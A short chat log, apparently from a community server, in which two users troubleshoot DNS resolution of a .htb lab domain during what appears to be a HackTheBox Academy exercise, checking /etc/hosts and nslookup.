i feel like it doesnt work

[fathom pendant]

I mean if you supply the right lists it works well within a few minutes

At least in academy

[fading oracle]

i just did a clean install

added the ip into the resolvers.txt

https://i.imgur.com/wl9q0Mk.png

interesting

[fathom pendant]

Because it's not in /etc/hosts lol

.htb isn't a valid tld, so you need to tell your computer how to resolve it

[fading oracle]

it is in the etc/hosts

that was the first thing i did

[fathom pendant]

Doesn't look like it

cat /etc/hosts

[fading oracle]

https://i.imgur.com/V0NR8Gm.png

[fathom pendant]

Weird

Try nslookup again and add the ip after